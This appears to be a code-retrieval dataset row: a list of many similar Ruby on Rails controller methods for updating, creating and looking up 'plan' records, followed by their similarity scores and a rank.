"def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plan = Plan.find(params[:id])\n authorize @plan\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, :editing => false, notice: _('Plan was successfully updated.') }\n format.json { head :no_content }\n else\n flash[:notice] = failed_update_error(@plan, _('plan'))\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n @tasks = @plan.tasks\n\n @goals = @plan.goals\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to back_index_case_url, notice: 'Plan was successfully updated.' }\n # format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to(@plan, :notice => 'Plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n flash[:notice] = 'Plan was successfully updated.'\n format.html { redirect_to(@plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @plan = Plan.find(params[:id])\n if @plan.update_attributes(params[:plan])\n redirect_to @plan, :notice => \"Successfully updated plan.\"\n else\n render :action => 'edit'\n end\n end",
"def update\n plan = Plan.find_by_id!(params.fetch(:id))\n benchmark_action_ids =\n JSON.parse(plan_update_params.fetch(:benchmark_action_ids))\n name = plan_update_params.fetch(:name)\n plan.update!(name: name, benchmark_action_ids: benchmark_action_ids)\n redirect_to plans_path\n end",
"def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan }\n format.json { respond_with_bip(@plan) }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plans = @goal.plans\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n @needs = @goal.needs\n respond_to do |format|\n if @goal.update(goal_params)\n format.html { redirect_to back_index_case_url, notice: 'Goal was successfully updated.' }\n # format.json { render :show, status: :ok, location: @goal }\n else\n format.html { render :edit }\n format.json { render json: @goal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @panel_plan = Panel::Plan.find(params[:id])\n\n respond_to do |format|\n if @panel_plan.update_attributes(params[:panel_plan])\n format.html { redirect_to(@panel_plan, :notice => 'Plan was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @panel_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n if @test_plan.update_attributes(params[:test_plan])\n format.html { redirect_to @test_plan, notice: 'Test plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: '基本情報を編集しました' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plan = Plan.find(params[:id])\n respond_to do |format|\n if @plan.update(plan_params)\n # expire_fragment(\"plans\")\n expire_action :action => 'index'\n expire_action :action => 'show'\n expire_page action: 'show', id: params[:id]\n # redirect_to action: 'show', id: params[:id]\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { respond_with_bip(@plan) }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n if @sslplan.update_attributes(params[:sslplan])\n format.html { redirect_to @sslplan, :notice => 'Sslplan was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sslplan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_plan\n return unless json_request?\n @plan = current_user.plans.find_by_ident(params[:id])\n return render json: { status: 'failed', alert: '此计划不存在' } unless @plan\n end",
"def update(attrs, user = @@default_user)\n attrs = { id: @id, project_token: @project_token }.merge(attrs)\n @attributes = send_request(\"test_plans/#{attrs[:id]}\", :put) do |req|\n req.body = {\n test_plan: attrs.except(:project_token, :id),\n token: attrs[:project_token],\n auth_token: user.auth_token\n }\n end\n end",
"def create\n @plan = Plan.new(params[:plan])\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def update\n\t\t@plan = Plan.find(params[:id])\n authorize @plan\n\t\tif user_signed_in? && @plan.editable_by(current_user.id) then\n\t\t\trespond_to do |format|\n\t\t\tif @plan.update_attributes(params[:plan])\n\t\t\t\tformat.html { redirect_to @plan, notice: I18n.t('helpers.project.success_update') }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\tend\n\t\tend\n \telse\n\t\t\trender(:file => File.join(Rails.root, 'public/403.html'), :status => 403, :layout => false)\n \tend\n \tend",
"def set_plan\r\n @plan = Plan.find(params[:id])\r\n end",
"def update\n params[:plan][:worker_ids] ||= []\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n flash[:notice] = 'Plan was successfully updated.'\n format.html { redirect_to(@plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_plan\n puts '==================================='\n puts params \n puts '==================================='\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def update\n @plantype = Plantype.find(params[:id])\n\n respond_to do |format|\n if @plantype.update_attributes(params[:plantype])\n format.html { redirect_to @plantype, notice: 'Plantype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to(artist_profile_url(@plan.artist), :notice => 'Pledge level was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @socialize_plan = SocializePlan.find(params[:id])\n\n respond_to do |format|\n if @socialize_plan.update_attributes(params[:socialize_plan])\n format.html { redirect_to(@socialize_plan, :notice => 'Socialize plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @socialize_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @site_plan.update(site_plan_params)\n format.html { redirect_to :back, notice: 'Site plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @site_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @master_plan = MasterPlan.find(params[:id])\n\n respond_to do |format|\n if @master_plan.update_attributes(params[:master_plan])\n format.html { redirect_to master_plan_path(@master_plan), notice: 'Master plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @master_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plans=(value)\n @plans = value\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def update\n @billing_plan = BillingPlan.find(params[:id])\n\n respond_to do |format|\n if @billing_plan.update_attributes(params[:billing_plan])\n format.html { redirect_to(@billing_plan, :notice => 'Billing plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @billing_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @billing_plan.update(billing_plan_params)\n format.html { redirect_to @billing_plan, notice: 'Billing plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @billing_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_all_plans\n cb_plans.map do |cb_plan|\n Plan.find_by(plan_id: cb_plan.id).update(plan_params(cb_plan))\n end\n end",
"def update\n @planitem = Planitem.find(params[:id])\n\n respond_to do |format|\n if @planitem.update_attributes(planitems_params)\n format.html { redirect_to \"#{plan_path(@planitem.sprint.quarter.name)}\", notice: 'Plan item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @planitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_plan\n\t\t@plan = Plan.find(params[:id])\n\tend",
"def create\n @plan = Plan.new(params[:plan])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @plan.update(plan_params)\r\n set_plans_grid\r\n format.html { redirect_to redirect_url, notice: t('activerecord.success.messages.updated', model: Plan.model_name.human) }\r\n format.js\r\n else\r\n format.html { render :edit }\r\n format.js { render :edit }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to planslink_path(@plan.family_group.id) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n if @test_plan.update_attributes(params[:test_plan])\n format.html { redirect_to(@test_plan, :notice => 'Test plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n mk = connect_mikrotik\n respond_to do |format|\n\n \n @plan_old = @plan.as_json # Guarda os parâmetros antigos do registro para retornar caso não consiga mudar no mikrotik\n \n id = mk.get_reply(\"/ppp/profile/print\", \"?name=#{@plan.profile_name}\")[0][\".id\"]\n puts \"Id do registro a ser mudado\"\n puts id\n\n if @plan.update(plan_params)\n \n result = mk.get_reply(\"/ppp/profile/set\",\n \"=name=#{plan_params[\"profile_name\"]}\",\n \"=rate-limit=#{plan_params[\"rate_limit\"]}\",\n \"=.id=#{id}\")[0][\"message\"]\n\n @notice = 'Plan was successfully updated.'\n if result != nil\n @notice = \"It wasn't possible to update mikrotik\"\n @plan.update(@plan_old)\n end\n\n format.html { redirect_to @plan, notice: @notice }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plan_setting = PlanSetting.find(params[:id])\n\n respond_to do |format|\n if @plan_setting.update_attributes(params[:plan_setting])\n format.html { redirect_to @plan_setting, notice: 'Plan setting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan_setting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @camp = Camp.find(params[:id])\n begin\n if @camp.valid?\n camp = Stripe::Plan.retrieve(@camp.id.to_s)\n camp.delete\n Stripe::Plan.create( :amount => params[:camp][:cost].to_i * 100, :interval => 'month', :name => params[:camp][:name] , :currency => 'usd', :id => @camp.id )\n if @camp.update_attributes(params[:camp])\n redirect_to(@camp, :notice => 'Camp was successfully updated.')\n else\n render :action => \"edit\"\n end\n end\t\n rescue Exception => e\n @camp.errors[:base] << \"Exception #{e.class}: #{e.message}\"\n render :action => \"edit\"\n end\n end",
"def set_plan\n @plan = Plan.find(params[:id])\n end",
"def update\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n if @exercise_plan.update_attributes(params[:exercise_plan])\n format.html { redirect_to @exercise_plan, notice: 'Exercise plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n \n add_plan_to_user_if_specified!\n format.html { redirect_to(@member, :notice => 'Member was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @pricing_plan = PricingPlan.find(params[:id])\n\n respond_to do |format|\n if @pricing_plan.update_attributes(params[:pricing_plan])\n flash[:notice] = 'PricingPlan was successfully updated.'\n format.html { redirect_to(@pricing_plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pricing_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_plan.update(tipo_plan_params)\n format.html { redirect_to @tipo_plan, notice: 'Tipo plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_plan }\n else\n format.html { render :edit }\n format.json { render json: @tipo_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sync\n begin\n @external_plans = Shoppe::ApiHandler.get_subscription_plans\n @external_plans.data.each do |external_plan|\n shoppe_plan = Shoppe::SubscriptionPlan.find_or_create_by(api_plan_id: external_plan.id)\n shoppe_plan.amount = Shoppe::ApiHandler.native_amount(external_plan.amount)\n shoppe_plan.currency = external_plan.currency\n shoppe_plan.interval = external_plan.interval\n shoppe_plan.interval_count = external_plan.interval_count\n shoppe_plan.name = external_plan.name\n shoppe_plan.trial_period_days = external_plan.trial_period_days || 0\n shoppe_plan.save\n end\n\n rescue ::Stripe::InvalidRequestError\n flash[:warning] = t('shoppe.subscription_plans.api_responses.plan_sync_failed')\n end\n redirect_to subscription_plans_url, notice: t('shoppe.subscription_plans.api_responses.sync_complete')\n end",
"def plan_params\n params.require(:plan).permit(:title, :body, :is_pending, :team_ids, :plan_status, :user_id, team_ids: [])\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sales_plan.update(sales_plan_params)\n format.html { redirect_to @sales_plan, notice: 'Sales plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @sales_plan }\n else\n format.html { render :edit }\n format.json { render json: @sales_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n puts \"page_plan_params:#{page_plan_params}\"\n respond_to do |format|\n if @page_plan.update(page_plan_params)\n format.html { redirect_to @page_plan, notice: 'Page plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @page_plan }\n else\n format.html { render :edit }\n format.json { render json: @page_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @service_plan = ServicePlan.find(params[:id])\n\n respond_to do |format|\n if @service_plan.update_attributes(params[:service_plan])\n flash[:notice] = 'ServicePlan was successfully updated.'\n format.html { redirect_to(@service_plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip_plan.update(trip_plan_params)\n format.html { redirect_to @trip_plan, notice: 'Trip plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip_plan }\n else\n format.html { render :edit }\n format.json { render json: @trip_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plan = Plan.find(params[:id])\n authorize @plan\n attrs = plan_params\n # rubocop:disable Metrics/BlockLength\n respond_to do |format|\n # TODO: See notes below on the pan_params definition. We should refactor\n # this once the UI pages have been reworked\n # Save the guidance group selections\n guidance_group_ids = if params[:guidance_group_ids].blank?\n []\n else\n params[:guidance_group_ids].map(&:to_i).uniq\n end\n @plan.guidance_groups = GuidanceGroup.where(id: guidance_group_ids)\n @research_domains = ResearchDomain.all.order(:label)\n\n @plan.funder = process_org!(user: current_user, namespace: 'funder')\n @plan.grant = plan_params[:grant]\n attrs.delete(:funder)\n attrs.delete(:grant)\n\n @plan.title = @plan.title.strip\n\n if @plan.update(attrs)\n format.html do\n redirect_to plan_path(@plan),\n notice: success_message(@plan, _('saved'))\n end\n format.json do\n render json: { code: 1, msg: success_message(@plan, _('saved')) }\n end\n else\n format.html do\n # TODO: Should do a `render :show` here instead but show defines too many\n # instance variables in the controller\n redirect_to plan_path(@plan).to_s, alert: failure_message(@plan, _('save'))\n end\n format.json do\n render json: { code: 0, msg: failure_message(@plan, _('save')) }\n end\n end\n rescue StandardError => e\n flash[:alert] = failure_message(@plan, _('save'))\n format.html do\n Rails.logger.error \"Unable to save plan #{@plan&.id} - #{e.message}\"\n redirect_to plan_path(@plan).to_s, alert: failure_message(@plan, _('save'))\n end\n format.json do\n render json: { code: 0, msg: flash[:alert] }\n end\n end\n # rubocop:enable Metrics/AbcSize, Metrics/BlockLength\n end",
"def plan_params\n params.require(:plan).permit(:title, :body, :id)\n end",
"def update\r\n @general_plan = GeneralPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @general_plan.update_attributes(params[:general_plan])\r\n format.html { redirect_to @general_plan, notice: 'General plan was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @general_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @admin_subscription_plan.update(admin_subscription_plan_params)\n format.html { redirect_to @admin_subscription_plan, notice: 'Subscription plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_subscription_plan }\n else\n format.html { render :edit }\n format.json { render json: @admin_subscription_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @plans = Plan.all\n\n render json: @plans\n end",
"def update\r\n @work_plan = WorkPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @work_plan.update_attributes(params[:work_plan])\r\n format.html { redirect_to @work_plan, notice: 'Work plan was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @goals = @need.goals\n @goals = @need.goals\n @plans = @goals.map(&:plans).flatten.uniq\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n respond_to do |format|\n if @need.update(need_params)\n format.html { redirect_to back_index_case_url, notice: 'Need was successfully updated.' }\n # format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @plan = Plan.find(params[:id])\n\n render json: @plan\n end",
"def create\n @plan = Plan.create(plan_params)\n @incident = Incident.find(params[:incident_id])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to incident_plan_path(@incident, @plan) }\n format.json { redirect_to incident_plan_path(@incident, @plan) }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plans(params = {})\n scope 'default'\n get('plans/', params)\n end",
"def set_plan\n case params[:id]\n when \"course\"\n else \n @plan = Plan.find(params[:id])\n end\n end",
"def update\n respond_to do |format|\n if @check_plan.update(check_plan_params)\n format.html { redirect_to @check_plan, notice: 'Check plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @check_plan }\n else\n format.html { render :edit }\n format.json { render json: @check_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @local_plan = LocalPlan.find(params[:id])\n\n respond_to do |format|\n if @local_plan.update_attributes(params[:local_plan])\n flash[:notice] = 'Local rate was successfully updated.'\n format.html { redirect_to(local_plans_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @local_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @inventory_plan.update(inventory_plan_params)\n format.html { redirect_to @inventory_plan, notice: 'Inventory plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventory_plan }\n else\n format.html { render :edit }\n format.json { render json: @inventory_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @work_plan = WorkPlan.find(params[:id])\n\n respond_to do |format|\n if @work_plan.update_attributes(params[:work_plan])\n format.html { redirect_to @work_plan, notice: 'Work plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\n end\n end\n #expire_action :index\n #expire_action :show\n end",
"def update\n @klassplan = Klassplan.find(params[:id])\n\n respond_to do |format|\n if @klassplan.update_attributes(params[:klassplan])\n format.html { redirect_to @klassplan, notice: 'Klassplan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @klassplan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n plan = {}\n plan = plan_params\n plan[:creator_id] = @plan.creator_id\n if plan[:image] == nil\n plan[:image] = File.open(\"#{Rails.root.to_s}/app/assets/images/no_image.png\",\"r\").read\n end\n\n respond_to do |format|\n if @plan.update(plan)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n if params[:id]\n @plan_setting=PlanSetting.find(params[:id])\n end\n\n @plan = Plan.new\n puts \"@plan_setting.id=#{@plan_setting.id}\"\n @plan.update_attributes(:system=>@plan_setting.system,:branch=>@plan_setting.branch,:fa=>@plan_setting.fa,:plansetting=>@plan_setting.id)\n \n respond_to do |format|\n format.html { redirect_to :action=>\"edit\",:id=>@plan.id,notice: 'Plan was successfully created.' }\n format.json { render json: @plan }\n end\n end"
] |
[
"0.7365375",
"0.7338878",
"0.7073428",
"0.69984865",
"0.6909138",
"0.6909138",
"0.6909138",
"0.6909138",
"0.6909138",
"0.6866961",
"0.6855511",
"0.6833389",
"0.68260497",
"0.6782745",
"0.6776423",
"0.67730236",
"0.6692281",
"0.66217965",
"0.6599027",
"0.65917325",
"0.6584588",
"0.6582628",
"0.65693116",
"0.6548666",
"0.65455306",
"0.6478497",
"0.6445227",
"0.64305663",
"0.6428955",
"0.64218956",
"0.64203656",
"0.64203656",
"0.64203656",
"0.6390173",
"0.63705254",
"0.63474417",
"0.63436526",
"0.633818",
"0.63219243",
"0.63170385",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.6310262",
"0.631014",
"0.6308807",
"0.6304661",
"0.6294355",
"0.6285518",
"0.62711054",
"0.62660396",
"0.6260283",
"0.6251147",
"0.62275577",
"0.62238926",
"0.6222888",
"0.62221044",
"0.6208776",
"0.6200196",
"0.6191744",
"0.61861587",
"0.61735505",
"0.61648506",
"0.6153795",
"0.6149688",
"0.61451465",
"0.6143951",
"0.6141802",
"0.6133772",
"0.6133772",
"0.6129739",
"0.6124538",
"0.6121003",
"0.61173415",
"0.6113497",
"0.6101392",
"0.60913056",
"0.6090946",
"0.6090264",
"0.6088843",
"0.6081266",
"0.6080367",
"0.6078729",
"0.60705245",
"0.6061182",
"0.60601246",
"0.605818",
"0.6053413",
"0.6050881"
] |
0.7144361
|
3
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.